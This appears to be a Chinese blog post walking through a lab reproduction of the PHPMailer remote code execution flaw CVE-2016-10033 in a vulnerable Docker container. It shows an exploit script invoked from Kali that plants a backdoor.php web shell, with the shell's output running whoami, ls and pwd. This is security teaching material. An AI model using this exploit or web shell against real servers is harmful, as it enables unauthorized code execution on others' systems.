标签:tps opera gre blank system pid ref mask mpm
本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经搭建好的docker环境,见参考链接。
实验环境是在Ubuntu 16.04.3上,使用docker镜像。
首先需要在ubuntu上安装docker,可使用如下命令进行安装:
root@starnight:~# apt-get install docker.io 【安装docker】 root@starnight:~# docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033 AH00558: apache2: Could not reliably determine the server‘s fully qualified domain name, using 172.17.0.2. Set the ‘ServerName‘ directive globally to suppress this message ==> /var/log/apache2/access.log <== ==> /var/log/apache2/error.log <== [Thu Nov 09 15:11:47.098917 2017] [mpm_prefork:notice] [pid 8] AH00163: Apache/2.4.10 (Debian) configured -- resuming normal operations [Thu Nov 09 15:11:47.101902 2017] [core:notice] [pid 8] AH00094: Command line: ‘/usr/sbin/apache2 -f /etc/apache2/apache2.conf‘ ==> /var/log/apache2/other_vhosts_access.log <==
安装完docker之后,需要把相应的靶机环境下载(pull)下来,首次运行上面那条命令会下载docker镜像,之后就会像上面运行的那样,表明docker镜像正在运行。
查看一下ip地址:
root@starnight:~# ifconfig | grep inet inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0 inet6 addr: fe80::42:4aff:fe88:49e5/64 Scope:Link inet addr:192.168.0.8 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::a7c0:e1f7:2118:7e6a/64 Scope:Link inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host inet6 addr: fe80::98a9:5bff:fe1f:b1c9/64 Scope:Link
这里192.168.0.8是我们Ubuntu的ip地址,172.17.0.1是docker镜像的内部地址,通过访问http://192.168.0.8:8080/, 就能看到搭建好的存在漏洞的环境:
接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:
root@kali:~/penetest/CVE-2016-10033# ./exploit.sh 192.168.0.8:8080 [+] CVE-2016-10033 exploit by opsxcq [+] Exploiting 192.168.0.8:8080 [+] Target exploited, acessing shell at http://192.168.0.8:8080/backdoor.php [+] Checking if the backdoor was created on target system [+] Backdoor.php found on remote system [+] Running whoami www-data RemoteShell> ls [+] Running ls vulnerable RemoteShell> pwd [+] Running pwd /www
其实,并不是所有的命令运行都有回显,比如说查看ip地址的命令ifconfig就看不到输出。更多详情,请参考下面的链接。
PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)
标签:tps opera gre blank system pid ref mask mpm
原文地址:http://www.cnblogs.com/Hi-blog/p/7812008.html